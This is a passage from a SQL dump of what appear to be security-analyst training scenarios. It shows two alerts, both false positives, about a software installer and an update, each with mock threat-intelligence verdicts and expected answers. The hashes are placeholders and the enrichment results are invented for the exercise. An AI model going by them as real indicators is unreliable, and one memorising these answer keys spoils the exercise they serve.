server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"098f6bcd4621d373cade4e832627b4f6\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash corresponds to a known software installer\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Trusted installer identified, no malicious activity detected.\"}', 'Intermediate', 'MAL', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2252, 'False Positive: Routine Software Update Misidentified', 'low', 'Ghidra', 'A routine software update was misidentified as a potential malware installation due to unusual network activity during the update.', 'Malware', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:10:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"151.101.1.69\",\"username\":\"susan\",\"hostname\":\"WORKSTATION-02\",\"command_line\":\"C:\\\\Program Files\\\\Updater\\\\update.exe\",\"file_hash\":\"c4ca4238a0b923820dcc509a6f75849b\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of user workstation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"151.101.1.69\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"IP belongs to a well-known CDN used for software updates\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"c4ca4238a0b923820dcc509a6f75849b\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash corresponds to a known software update\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Update confirmed as legitimate, no malicious indicators present.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0);

-- --------------------------------------------------------

--
